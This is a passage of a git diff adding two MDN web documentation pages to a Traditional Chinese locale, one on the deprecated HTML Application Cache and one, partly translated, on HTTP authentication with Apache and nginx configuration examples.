+  - Firefox 3
+  - Offline web applications
+  - 待翻譯
+translation_of: Web/HTML/Using_the_application_cache
+---
+<div>{{DefaultAPISidebar("App Cache")}}{{deprecated_header}}</div>
+
+<div class="warning">
+<p>Using the <em>application caching</em> feature described here is at this point highly discouraged; it’s <a href="https://html.spec.whatwg.org/multipage/browsers.html#offline">in the process of being removed from the Web platform</a>. Use <a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Service Workers</a> instead. In fact as of Firefox 44, when <a href="/en-US/docs/Web/HTML/Using_the_application_cache">AppCache</a> is used to provide offline support for a page a warning message is now displayed in the console advising developers to use <a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Service workers</a> instead ({{bug("1204581")}}).</p>
+</div>
+
+<h2 id="Introduction">Introduction</h2>
+
+<p><a href="/en-US/docs/HTML/HTML5">HTML5</a> provides an <em>application caching</em> mechanism that lets web-based applications run offline. Developers can use the <strong>Application Cache</strong> (<em>AppCache</em>) interface to specify resources that the browser should cache and make available to offline users. Applications that are cached load and work correctly even if users click the refresh button when they are offline.</p>
+
+<p>Using an application cache gives an application the following benefits:</p>
+
+<ul>
+ <li>Offline browsing: users can navigate a site even when they are offline.</li>
+ <li>Speed: cached resources are local, and therefore load faster.</li>
+ <li>Reduced server load: the browser only downloads resources that have changed from the server.</li>
+</ul>
+
+<h2 id="How_the_application_cache_works">How the application cache works</h2>
+
+<h3 id="Enabling_the_application_cache">Enabling the application cache</h3>
+
+<p>To enable the application cache for an application, you must include the {{htmlattrxref("manifest", "html")}} attribute in the {{HTMLElement("html")}} element in your application's pages, as shown in the following example:</p>
+
+<pre class="brush: html">&lt;html manifest="example.appcache"&gt;
+  ...
+&lt;/html&gt;
+</pre>
+
+<p>The manifest attribute references a <strong>cache manifest</strong> file, which is a text file that lists resources (files) that the browser should cache for your application.</p>
+
+<p>You should include the <code>manifest</code> attribute on every page of your application that you want cached. The browser does not cache pages that do not contain the <code>manifest</code> attribute, unless such pages are explicitly listed in the manifest file itself. You do not need to list all the pages you want cached in the manifest file, the browser implicitly adds every page that the user visits and that has the <code>manifest</code> attribute set to the application cache.</p>
+
+<p>Some browsers (e.g., Firefox) display a notification bar the first time a user loads an application that uses the application cache. The notification bar displays a message such as:</p>
+
+<p style="margin-left: 40px;">This website (<code>www.example.com</code>) is asking to store data on your computer for offline use. [Allow] [Never for This Site] [Not Now]</p>
+
+<p>The term "offline(-enabled) applications" sometimes refers specifically to applications that the user has allowed to use offline capabilities.</p>
+
+<h3 id="Loading_documents">Loading documents</h3>
+
+<p>The use of an application cache modifies the normal process of loading a document:</p>
+
+<ul>
+ <li>If an application cache exists, the browser loads the document and its associated resources directly from the cache, without accessing the network. This speeds up the document load time.</li>
+ <li>The browser then checks to see if the cache manifest has been updated on the server.</li>
+ <li>If the cache manifest has been updated, the browser downloads a new version of the manifest and the resources listed in the manifest. This is done in the background and does not affect performance significantly.</li>
+</ul>
+
+<p>The process for loading documents and updating the application cache is specified in greater detail below:</p>
+
+<ol>
+ <li>When the browser visits a document that includes the <code>manifest</code> attribute, if no application cache exists, the browser loads the document and then fetches all the entries listed in the manifest file, creating the first version of the application cache.</li>
+ <li>Subsequent visits to that document cause the browser to load the document and other assets specified in the manifest file from the application cache (not from the server). In addition, the browser also sends a <code>checking</code> event to the <code><a href="/en-US/docs/DOM/window.applicationCache">window.applicationCache</a></code> object, and fetches the manifest file, following the appropriate HTTP caching rules.</li>
+ <li>If the currently-cached copy of the manifest is up-to-date, the browser sends a <code>noupdate</code> event to the <code>applicationCache</code> object, and the update process is complete. Note that if you change any cached resources on the server, you must also change the manifest file itself, so that the browser knows it needs to fetch all the resources again.</li>
+ <li>If the manifest file <em>has</em> changed, all the files listed in the manifest—as well as those added to the cache by calling <code><a href="/en-US/docs/nsIDOMOfflineResourceList#add.28.29">applicationCache.add()</a></code>—are fetched into a temporary cache, following the appropriate HTTP caching rules. For each file fetched into this temporary cache, the browser sends a <code>progress</code> event to the <code>applicationCache</code> object. If any errors occur, the browser sends an <code>error</code> event, and the update halts.</li>
+ <li>Once all the files have been successfully retrieved, they are moved into the real offline cache automatically, and a <code>cached</code> event is sent to the <code>applicationCache</code> object. Since the document has already been loaded into the browser from the cache, the updated document will not be rendered until the document is reloaded (either manually or programatically).</li>
+</ol>
+
+<h2 id="Storage_location_and_clearing_the_offline_cache">Storage location and clearing the offline cache</h2>
+
+<p>In Chrome you can clear the offline cache by selecting "Clear browsing data..." in the preferences or by visiting <a>chrome://appcache-internals/</a>. Safari has a similar "Empty cache" setting in its preferences but a browser restart may also be required.</p>
+
+<p>In Firefox, the offline cache data is stored separately from the Firefox profile—next to the regular disk cache:</p>
+
+<ul>
+ <li>Windows Vista/7: <code>C:\Users\&lt;username&gt;\AppData\<strong>Local</strong>\Mozilla\Firefox\Profiles\&lt;salt&gt;.&lt;profile name&gt;\OfflineCache</code></li>
+ <li>Mac/Linux: <code>/Users/&lt;username&gt;/Library/Caches/Firefox/Profiles/&lt;salt&gt;.&lt;profile name&gt;/OfflineCache</code></li>
+</ul>
+
+<p>In Firefox the current status of the offline cache can be inspected on the <code>about:cache</code> page (under the "Offline cache device" heading). The offline cache can be cleared for each site separately using the "Remove..." button in Tools -&gt; Options -&gt; Advanced -&gt; Network -&gt; Offline data.</p>
+
+<p>Prior to Firefox 11, neither Tools -&gt; Clear Recent History nor Tools -&gt; Options -&gt; Advanced -&gt; Network -&gt; Offline data -&gt; Clear Now cleared the offline cache. This has been fixed.</p>
+
+<p>On Linux, you can find the setting at Edit &gt; Preferences &gt; Advanced &gt; Network &gt; Offline Web Content and User Data</p>
+
+<p>See also <a href="/en-US/docs/DOM/Storage#Storage_location_and_clearing_the_data">clearing the DOM Storage data</a>.</p>
+
+<p>Application caches can also become obsolete. If an application's manifest file is removed from the server, the browser removes all application caches that use that manifest, and sends an "obsoleted" event to the <code>applicationCache</code> object. This sets the application cache's state to <code>OBSOLETE</code>.</p>
+
+<h2 id="The_cache_manifest_file">The cache manifest file</h2>
+
+<h3 id="Referencing_a_cache_manifest_file">Referencing a cache manifest file</h3>
+
+<p>The <code>manifest</code> attribute in a web application can specify either the relative path of a cache manifest file or an absolute URL. (Absolute URLs must be from the same origin as the application). A cache manifest file can have any file extension, but it must be served with the MIME type <code>text/cache-manifest</code>.</p>
+
+<div class="note"><strong>Note: </strong>On Apache servers, the MIME type for manifest (.appcache) files can be set by adding <code>AddType text/cache-manifest .appcache</code> to a .htaccess file within either the root directory, or the same directory as the application.</div>
+
+<h3 id="Entries_in_a_cache_manifest_file">Entries in a cache manifest file</h3>
+
+<p>The cache manifest file is a simple text file that lists the resources the browser should cache for offline access. Resources are identified by URI. Entries listed in the cache manifest must have the same scheme, host, and port as the manifest.</p>
+
+<h3 id="Example_1_a_simple_cache_manifest_file">Example 1: a simple cache manifest file</h3>
+
+<p>The following is a simple cache manifest file, <code>example.appcache</code>, for an imaginary web site at <span class="nowiki">www.example.com</span>.</p>
+
+<pre class="eval">CACHE MANIFEST
+# v1 - 2011-08-13
+# This is a comment.
+<span class="nowiki">http://www.example.com/index.html</span>
+<span class="nowiki">http://www.example.com/header.png</span>
+<span class="nowiki">http://www.example.com/blah/blah</span>
+</pre>
+
+<p>A cache manifest file can include three sections (<code>CACHE</code>, <code>NETWORK</code>, and <code>FALLBACK</code>, discussed below). In the example above, there is no section header, so all data lines are assumed to be in the explicit (<code>CACHE</code>) section, meaning that the browser should cache all the listed resources in the application cache. Resources can be specified using either absolute or relative URLs (e.g., <code>index.html</code>).</p>
+
+<p>The "v1" comment in the example above is there for a good reason. Browsers only update an application cache when the manifest file changes, byte for byte. If you change a cached resource (for example, you update the <code>header.png</code> image with new content), you must also change the content of the manifest file in order to let browsers know that they need to refresh the cache. You can make any change you want to the manifest file, but revising a version number is the recommended best practice.</p>
+
+<div class="warning"><strong>Important:</strong> Do not specify the manifest itself in the cache manifest file, otherwise it will be nearly impossible to inform the browser a new manifest is available.</div>
+
+<h3 id="Sections_in_a_cache_manifest_file_CACHE_NETWORK_and_FALLBACK">Sections in a cache manifest file: <code>CACHE</code>, <code>NETWORK</code>, and <code>FALLBACK</code></h3>
+
+<p>A manifest can have three distinct sections: <code>CACHE</code>, <code>NETWORK</code>, and <code>FALLBACK</code>.</p>
+
+<dl>
+ <dt><code>CACHE:</code></dt>
+ <dd>This is the default section for entries in a cache manifest file. Files listed under the <code>CACHE:</code> section header (or immediately after the <code>CACHE MANIFEST</code> line) are explicitly cached after they're downloaded for the first time.</dd>
+ <dt><code>NETWORK:</code></dt>
+ <dd>Files listed under the <code>NETWORK:</code> section header in the cache manifest file are white-listed resources that require a connection to the server. All requests to such resources bypass the cache, even if the user is offline. The wildcard character <code>*</code> can be used once. Most sites need <code>*</code>.</dd>
+ <dt><code>FALLBACK:</code></dt>
+ <dd>The <code>FALLBACK:</code> section specifies fallback pages the browser should use if a resource is inaccessible. Each entry in this section lists two URIs—the first is the resource, the second is the fallback. Both URIs must be relative and from the same origin as the manifest file. Wildcards may be used.</dd>
+</dl>
+
+<p>The <code>CACHE</code>, <code>NETWORK</code>, and <code>FALLBACK </code>sections can be listed in any order in a cache manifest file, and each section can appear more than once in a single manifest.</p>
+
+<h3 id="Example_2_a_more_complete_cache_manifest_file">Example 2: a more complete cache manifest file</h3>
+
+<p>The following is a more complete cache manifest file for the imaginary web site at <span class="nowiki">www.example.com</span>:</p>
+
+<pre class="eval">CACHE MANIFEST
+# v1 2011-08-14
+# This is another comment
+index.html
+cache.html
+style.css
+image1.png
+
+# Use from network if available
+NETWORK:
+network.html
+
+# Fallback content
+FALLBACK:
+. fallback.html
+</pre>
+
+<p>This example uses <code>NETWORK</code> and <code>FALLBACK</code> sections to specify that the <code>network.html</code> page must always be retrieved from the network, and that the <code>fallback.html</code> page should be served as a fallback resource (e.g., in case a connection to the server cannot be established).</p>
+
+<h3 id="Structure_of_a_cache_manifest_file">Structure of a cache manifest file</h3>
+
+<p>Cache manifest files must be served with the <code>text/cache-manifest</code> MIME type. All resources served using this MIME type must follow the syntax for an application cache manifest, as defined in this section.</p>
+
+<p>Cache manifests are UTF-8 format text files, and may optionally include a BOM character. Newlines may be represented by line feed (<code>U+000A</code>), carriage return (<code>U+000D</code>), or carriage return and line feed both.</p>
+
+<p>The first line of the cache manifest must consist of the string <code>CACHE MANIFEST</code> (with a single <code>U+0020</code> space between the two words), followed by zero or more space or tab characters. Any other text on the line is ignored.</p>
+
+<p>The remainder of the cache manifest must be comprised of zero or more of the following lines:</p>
+
+<dl>
+ <dt>Blank line</dt>
+ <dd>You may use blank lines comprised of zero or more space and tab characters.</dd>
+ <dt>Comment</dt>
+ <dd>Comments consist of zero or more tabs or spaces followed by a single <code>#</code> character, followed by zero or more characters of comment text. Comments may only be used on their own lines (after the initial <code>CACHE MANIFEST</code> line), and cannot be appended to other lines. This means that you cannot specify fragment identifiers.</dd>
+ <dt>Section header</dt>
+ <dd>Section headers specify which section of the cache manifest is being manipulated. There are three possible section headers:</dd>
+</dl>
+
+<blockquote>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Section header</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td><code>CACHE:</code></td>
+   <td>Switches to the explicit section of the cache manifest (this is the default section).</td>
+  </tr>
+  <tr>
+   <td><code>NETWORK:</code></td>
+   <td>Switches to the online whitelist section of the cache manifest.</td>
+  </tr>
+  <tr>
+   <td><code>FALLBACK:</code></td>
+   <td>Switches to the fallback section of the cache manifest.</td>
+  </tr>
+ </tbody>
+</table>
+</blockquote>
+
+<dl>
+ <dd>The section header line may include whitespaces, but must include the colon (<code>:</code>) in the section name.</dd>
+ <dt>Section data</dt>
+ <dd>The format for lines of data varies from section to section. In the explicit (<code>CACHE:</code>) section, each line is a valid URI or IRI reference to a resource to cache (no wildcard characters are allowed in this sections). Whitespace is allowed before and after the URI or IRI on each line. In the Fallback section each line is a valid URI or IRI reference to a resource, followed by a fallback resource that is to be served up when a connection with the server cannot be made. In the network section, each line is a valid URI or IRI reference to a resource to fetch from the network (or the wildcard character <code>*</code> can be used in this section).
+ <div class="note"><strong>Note: </strong>Relative URIs are relative to the cache manifest's URI, not to the URI of the document referencing the manifest.</div>
+ </dd>
+</dl>
+
+<p>Cache manifest files can switch from section to section at will (each section header can be used more than once), and sections are allowed to be empty.</p>
+
+<h2 id="Resources_in_an_application_cache">Resources in an application cache</h2>
+
+<p>An application cache always includes at least one resource, identified by URI. All resources fit into one of the following categories:</p>
+
+<dl>
+ <dt>Master entries</dt>
+ <dd>These are resources added to the cache because a browsing context visited by the user included a document that indicated that it was in this cache using its <code>manifest</code> attribute.</dd>
+ <dt>Explicit entries</dt>
+ <dd>These are resources explicitly listed in the application's cache manifest file.</dd>
+ <dt>Network entries</dt>
+ <dd>These are resources listed in the application's cache manifest files as network entries.</dd>
+ <dt>Fallback entries</dt>
+ <dd>These are resources listed in the application's cache manifest files as fallback entries.</dd>
+</dl>
+
+<div class="note"><strong>Note:</strong> Resources can be tagged with multiple categories, and can therefore be categorized as multiple entries. For example, an entry can be both an explicit entry and a fallback entry.</div>
+
+<p>Resource categories are described in greater detail below.</p>
+
+<h3 id="Master_entries">Master entries</h3>
+
+<p>Master entries are any HTML files that include a {{htmlattrxref("manifest","html")}} attribute in their {{HTMLElement("html")}} element. For example, let's say we have the HTML file <a href="http://www.example.com/entry.html">http://www.example.com/entry.html</a>, which looks like this:</p>
+
+<pre class="brush: html">&lt;html manifest="example.appcache"&gt;
+  &lt;h1&gt;Application Cache Example&lt;/h1&gt;
+&lt;/html&gt;
+</pre>
+
+<p>If <code>entry.html</code> is not listed in the <code>example.appcache</code> cache manifest file, visiting the <code>entry.html</code> page causes <code>entry.html</code> to be added to the application cache as a master entry.</p>
+
+<h3 id="Explicit_entries">Explicit entries</h3>
+
+<p>Explicit entries are resources that are explicitly listed in the <code>CACHE </code>section of a cache manifest file.</p>
+
+<h3 id="Network_entries">Network entries</h3>
+
+<p>The <code>NETWORK</code> section of a cache manifest file specifies resources for which a web application requires online access. Network entries in an application cache are essentially an "online whitelist"—URIs specified in the <code>NETWORK</code> section are loaded from the server instead of the cache. This lets the browser's security model protect the user from potential security breaches by limiting access to approved resources.</p>
+
+<p>As an example, you can use network entries to load and execute scripts and other code from the server instead of the cache:</p>
+
+<pre class="eval">CACHE MANIFEST
+NETWORK:
+/api
+</pre>
+
+<p>The cache manifest section listed above ensures that requests to load resources contained in the <code><a href="http://www.example.com/api/" rel="freelink">http://www.example.com/api/</a></code> subtree always go to the network without attempting to access the cache.</p>
+
+<div class="note"><strong>Note</strong>: Simply omitting master entries (files that have the <code>manifest</code> attribute set in the <code>html</code> element) from the manifest file would not have the same result, because master entries will be added—and subsequently served from—the application cache.</div>
+
+<h3 id="Fallback_entries">Fallback entries</h3>
+
+<p>Fallback entries are used when an attempt to load a resource fails. For example, let's say the cache manifest file <code><a href="http://www.example.com/example.appcache" rel="freelink">http://www.example.com/example.appcache</a></code> includes the following content:</p>
+
+<pre class="eval">CACHE MANIFEST
+FALLBACK:
+example/bar/ example.html
+</pre>
+
+<p>Any request to <code><a href="http://www.example.com/example/bar/" rel="freelink">http://www.example.com/example/bar/</a></code> or any of its subdirectories and their content cause the browser to issue a network request to attempt to load the requested resource. If the attempt fails, due to either a network failure or a server error of some kind, the browser loads the file <code>example.html</code> instead.</p>
+
+<h2 id="Cache_states">Cache states</h2>
+
+<p>Each application cache has a <strong>state</strong>, which indicates the current condition of the cache. Caches that share the same manifest URI share the same cache state, which can be one of the following:</p>
+
+<dl>
+ <dt><code>UNCACHED</code></dt>
+ <dd>A special value that indicates that an application cache object is not fully initialized.</dd>
+ <dt><code>IDLE</code></dt>
+ <dd>The application cache is not currently in the process of being updated.</dd>
+ <dt><code>CHECKING</code></dt>
+ <dd>The manifest is being fetched and checked for updates.</dd>
+ <dt><code>DOWNLOADING</code></dt>
+ <dd>Resources are being downloaded to be added to the cache, due to a changed resource manifest.</dd>
+ <dt><code>UPDATEREADY</code></dt>
+ <dd>There is a new version of the application cache available. There is a corresponding <code>updateready</code> event, which is fired instead of the <code>cached</code> event when a new update has been downloaded but not yet activated using the <code>swapCache()</code> method.</dd>
+ <dt><code>OBSOLETE</code></dt>
+ <dd>The application cache group is now obsolete.</dd>
+</dl>
+
+<h2 id="Testing_for_updates_to_the_cache_manifest">Testing for updates to the cache manifest</h2>
+
+<p>You can programmatically test to see if an application has an updated cache manifest file, using JavaScript. Since a cache manifest file may have been updated before a script attaches event listeners to test for updates, scripts should always test <code>window.applicationCache.status</code>.</p>
+
+<pre class="brush: js">function onUpdateReady() {
+  console.log('found new version!');
+}
+window.applicationCache.addEventListener('updateready', onUpdateReady);
+if(window.applicationCache.status === window.applicationCache.UPDATEREADY) {
+  onUpdateReady();
+}</pre>
+
+<p>To manually start testing for a new manifest file, you can use <code>window.applicationCache.update()</code>.</p>
+
+<h2 id="Gotchas">Gotchas</h2>
+
+<ul>
+ <li>Never access cached files by using traditional GET parameters (like <code>other-cached-page.html?parameterName=value</code>). This will make the browser bypass the cache and attempt to get it from network. To link to cached resources that have parameters parsed in JavaScript use parameters in the hash part of the link, such as <code>other-cached-page.html#whatever?parameterName=value</code>.</li>
+ <li>When applications are cached, simply updating the resources (files) that are used in a web page is not enough to update the files that have been cached. You must update the cache manifest file itself before the browser retrieves and uses the updated files. You can do this programmatically using <code>window.applicationCache.swapCache()</code>, though resources that have already been loaded will not be affected. To make sure that resources are loaded from a new version of the application cache, refreshing the page is ideal.</li>
+ <li>It's a good idea to set expires headers on your web server for <code>*.appcache</code> files to expire immediately. This avoids the risk of caching manifest files. For example, in Apache you can specify such a configuration as follows:<br>
+  <code>ExpiresByType text/cache-manifest "access plus 0 seconds"</code></li>
+</ul>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}<sup>[1]</sup></td>
+   <td>10.0</td>
+   <td>10.6</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>1.0.1<sup>[2]</sup></td>
+   <td>11.0<sup>[3]</sup></td>
+   <td>11.0</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Versions of Firefox prior to 3.5 ignore the <code>NETWORK</code> and <code>FALLBACK</code> sections of the cache manifest file.</p>
+
+<p>[2] When using AppCache to provide Firefox OS hosted apps with offline capabilities, you need to declare the AppCache manifest inside your Firefox OS manifest.webapp file's <a href="/en-US/Apps/Build/Manifest#appcache_path">appcache_path field</a>.</p>
+
+<p>[3] Reloading the page in IE Mobile will clear the application cache, so the webpage will fail to load. However, closing the page and opening via bookmark again works fine.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="http://www.html5rocks.com/en/tutorials/appcache/beginner/">HTML5Rocks - A Beginner's Guide to Using the Application Cache</a></li>
+ <li><a href="http://appcache.offline.technology/">Appcache Facts</a> - detailed information on AppCache idiosyncrasies</li>
+ <li><a href="http://alistapart.com/article/application-cache-is-a-douchebag">A List Apart: Application Cache is a Douchebag</a>
+  <ul>
+   <li><a href="http://flailingmonkey.com/application-cache-not-a-douchebag">The Application Cache is no longer a Douchebag</a> - an overview of the app cache debugging tools added in Firefox 23.</li>
+  </ul>
+ </li>
+ <li><a href="http://hacks.mozilla.org/2010/01/offline-web-applications/">offline web applications</a> at hacks.mozilla.org - showcases an offline app demo and explains how it works.</li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#offline">HTML 5 working draft: Offline web applications</a></li>
+ <li><a href="http://www.w3.org/TR/offline-webapps/">W3C Working Group Note: Offline Web Applications</a></li>
+ <li><a href="http://developer.teradata.com/blog/js186040/2011/11/html5-cache-manifest-an-off-label-usage">HTML5 Cache Manifest: An Off-label Usage</a></li>
+ <li><a href="http://www.ibm.com/developerworks/web/library/wa-ffox3/">Get ready for Firefox 3.0 - A Web developer's guide to the many new features in this popular browser, especially the offline application features</a> (IBM developerWorks)</li>
+ <li><a href="/en-US/docs/Application_cache_implementation_overview">Application cache implementation overview</a></li>
+ <li><a href="//www.onlinewebcheck.com/check.php?adv=1">OnlineWebCheck.com - Check cache manifest file syntax</a> (Desktop app for Windows)</li>
+</ul>
diff --git a/files/zh-tw/web/http/authentication/index.html b/files/zh-tw/web/http/authentication/index.html
new file mode 100644
index 0000000000..2e881ea2fd
--- /dev/null
+++ b/files/zh-tw/web/http/authentication/index.html
@@ -0,0 +1,123 @@
+---
+title: HTTP authentication
+slug: Web/HTTP/Authentication
+translation_of: Web/HTTP/Authentication
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">HTTP 提供一個用來存取控制及身分驗證框架. 最普遍的 HTTP 身分驗證是基於"Basic" schema. 本頁將介紹HTTP framework for authentication 以及如何限制存取你的伺服器 and HTTP "Basic" schema.</p>
+
+<h2 id="The_general_HTTP_authentication_framework">The general HTTP authentication framework</h2>
+
+<p>{{RFC("7235")}} 定義了HTTP 身分驗證框架，它可以被使用於server to {{glossary("challenge")}} a client request  以及 client 提供身分驗證資訊. The challenge and response flow works like this: The server responds to a client with a {{HTTPStatus("401")}} (Unauthorized) response status and provides information on how to authorize with a {{HTTPHeader("WWW-Authenticate")}} response header containing at least one challenge. A client that wants to authenticate itself with a server can then do so by including an {{HTTPHeader("Authorization")}} request header field with the credentials. Usually a client will present a password prompt to the user and will then issue the request including the correct <code>Authorization</code> header.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14689/HTTPAuth.png" style="height: 335px; width: 710px;"></p>
+
+<p>In the case of a "Basic" authentication like shown in the figure, the exchange <strong>must</strong> happen over an HTTPS (TLS) connection to be secure.</p>
+
+<h3 id="Proxy_authentication">Proxy authentication</h3>
+
+<p>The same challenge and response mechanism can be used for <em>proxy authentication</em>. In this case, it is an intermediate proxy that requires authentication. As both resource authentication and proxy authentication can coexist, a different set of headers and status codes is needed. In the case of proxies, the challenging status code is {{HTTPStatus("407")}} (Proxy Authentication Required), the {{HTTPHeader("Proxy-Authenticate")}} response header contains at least one challenge applicable to the proxy, and the {{HTTPHeader("Proxy-Authorization")}} request header is used for providing the credentials to the proxy server.</p>
+
+<h3 id="Access_forbidden">Access forbidden</h3>
+
+<p>If a (proxy) server receives valid credentials that are not adequate to gain access for a given resource, the server should respond with the {{HTTPStatus("403")}} <code>Forbidden</code> status code. Unlike {{HTTPStatus("401")}} <code>Unauthorized</code> or {{HTTPStatus("407")}} <code>Proxy Authentication Required</code>, authentication is impossible for this user.</p>
+
+<p> </p>
+
+<h3 id="Authentication_of_cross-origin_images">Authentication of cross-origin images</h3>
+
+<p>A potential security hole that has recently been fixed by browsers is authentication of cross-site images. From <a href="/en-US/docs/Mozilla/Firefox/Releases/59">Firefox 59</a> onwards, image resources loaded from different origins to the current document are no longer able to trigger HTTP authentication dialogs ({{bug(1423146)}}), preventing user credentials being stolen if attackers were able to embed an arbitrary image into a third-party page.</p>
+
+<h3 id="Character_encoding_of_HTTP_authentication">Character encoding of HTTP authentication</h3>
+
+<p>Browsers use <code>utf-8</code> encoding for usernames and passwords. Firefox used to use  <code>ISO-8859-1</code>, but changed over to <code>utf-8</code> for parity with other browsers, and to avoid potential problems as described in {{bug(1419658)}}.</p>
+
+<p> </p>
+
+<h3 id="WWW-Authenticate_and_Proxy-Authenticate_headers"><code>WWW-Authenticate</code> and <code>Proxy-Authenticate</code> headers</h3>
+
+<p>The {{HTTPHeader("WWW-Authenticate")}} and {{HTTPHeader("Proxy-Authenticate")}} response headers define the authentication method that should be used to gain access to a resource. They need to specify which authentication scheme is used, so that the client that wishes to authorize knows how to provide the credentials. The syntax for these headers is the following:</p>
+
+<pre class="syntaxbox">WWW-Authenticate: &lt;type&gt; realm=&lt;realm&gt;
+Proxy-Authenticate: &lt;type&gt; realm=&lt;realm&gt;
+</pre>
+
+<p>Here, <code>&lt;type&gt;</code> is the authentication scheme ("Basic" is the most common scheme and <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">introduced below</a>). The <em>realm</em> is used to describe the protected area or to indicate the scope of protection. This could be a message like "Access to the staging site" or similar, so that the user knows to which space they are trying to get access to.</p>
+
+<h3 id="Authorization_and_Proxy-Authorization_headers"><code>Authorization</code> and <code>Proxy-Authorization</code> headers</h3>
+
+<p>The {{HTTPHeader("Authorization")}} and {{HTTPHeader("Proxy-Authorization")}} request headers contain the credentials to authenticate a user agent with a (proxy) server. Here, the type is needed again followed by the credentials, which can be encoded or encrypted depending on which authentication scheme is used.</p>
+
+<pre class="syntaxbox">Authorization: &lt;type&gt; &lt;credentials&gt;
+Proxy-Authorization: &lt;type&gt; &lt;credentials&gt;
+</pre>
+
+<h3 id="Authentication_schemes">Authentication schemes</h3>
+
+<p>The general HTTP authentication framework is used by several authentication schemes. Schemes can differ in security strength and in their availability in client or server software.</p>
+
+<p>The most common authentication scheme is the "Basic" authentication scheme which is introduced in more details below. IANA maintains a <a class="external external-icon" href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">list of authentication schemes</a>, but there are other schemes offered by host services, such as Amazon AWS. Common authentication schemes include:</p>
+
+<ul>
+ <li><strong>Basic</strong> (see {{rfc(7617)}}, base64-encoded credentials. See below for more information.),</li>
+ <li><strong>Bearer</strong> (see {{rfc(6750)}}, bearer tokens to access OAuth 2.0-protected resources),</li>
+ <li><strong>Digest</strong> (see {{rfc(7616)}}, only md5 hashing is supported in Firefox, see {{bug(472823)}} for SHA encryption support),</li>
+ <li><strong>HOBA</strong> (see {{rfc(7486)}} (draft), <strong>H</strong>TTP <strong>O</strong>rigin-<strong>B</strong>ound <strong>A</strong>uthentication, digital-signature-based),</li>
+ <li><strong>Mutual</strong> (see <a href="https://tools.ietf.org/html/draft-ietf-httpauth-mutual-11">draft-ietf-httpauth-mutual</a>),</li>
+ <li>
+  <p><strong>AWS4-HMAC-SHA256</strong> (see <a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">AWS docs</a>).</p>
+ </li>
+</ul>
+
+<h2 id="Basic_authentication_scheme">Basic authentication scheme</h2>
+
+<p>The "Basic" HTTP authentication scheme is defined in {{rfc(7617)}}, which transmits credentials as user ID/password pairs, encoded using base64.</p>
+
+<h3 id="Security_of_basic_authentication">Security of basic authentication</h3>
+
+<p>As the user ID and password are passed over the network as clear text (it is base64 encoded, but base64 is a reversible encoding), the basic authentication scheme is not secure. HTTPS / TLS should be used in conjunction with basic authentication. Without these additional security enhancements, basic authentication should not be used to protect sensitive or valuable information.</p>
+
+<h3 id="Restricting_access_with_Apache_and_basic_authentication">Restricting access with Apache and basic authentication</h3>
+
+<p>To password-protect a directory on an Apache server, you will need a <code>.htaccess</code> and a <code>.htpasswd</code> file.</p>
+
+<p>The <code>.htaccess</code> file typically looks like this:</p>
+
+<pre>AuthType Basic
+AuthName "Access to the staging site"
+AuthUserFile /path/to/.htpasswd
+Require valid-user</pre>
+
+<p>The <code>.htaccess</code> file references a <code>.htpasswd</code> file in which each line contains of a username and a password separated by a colon (":"). You can not see the actual passwords as they are <a href="https://httpd.apache.org/docs/2.4/misc/password_encryptions.html">encrypted</a> (md5 in this case). Note that you can name your <code>.htpasswd</code> file differently if you like, but keep in mind this file shouldn't be accessible to anyone. (Apache is usually configured to prevent access to <code>.ht*</code> files).</p>
+
+<pre>aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
+user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/
+</pre>
+
+<h3 id="Restricting_access_with_nginx_and_basic_authentication">Restricting access with nginx and basic authentication</h3>
+
+<p>For nginx, you will need to specify a location that you are going to protect and the <code>auth_basic</code> directive that provides the name to the password-protected area. The <code>auth_basic_user_file</code> directive then points to a .htpasswd file containing the encrypted user credentials, just like in the Apache example above.</p>
+
+<pre>location /status {
+    auth_basic           "Access to the staging site";
+    auth_basic_user_file /etc/apache2/.htpasswd;
+}</pre>
+
+<h3 id="Access_using_credentials_in_the_URL">Access using credentials in the URL</h3>
+
+<p>Many clients also let you avoid the login prompt by using an encoded URL containing the username and the password like this:</p>
+
+<pre class="example-bad">https://username:password@www.example.com/</pre>
+
+<p><strong>The use of these URLs is deprecated</strong>. In Chrome, the <code>username:password@</code> part in URLs is even<a href="https://bugs.chromium.org/p/chromium/issues/detail?id=82250#c7"> stripped out</a> for security reasons. In Firefox, it is checked if the site actually requires authentication and if not, Firefox will warn the user with a prompt "You are about to log in to the site “www.example.com” with the username “username”, but the website does not require authentication. This may be an attempt to trick you."</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Authorization")}}</li>
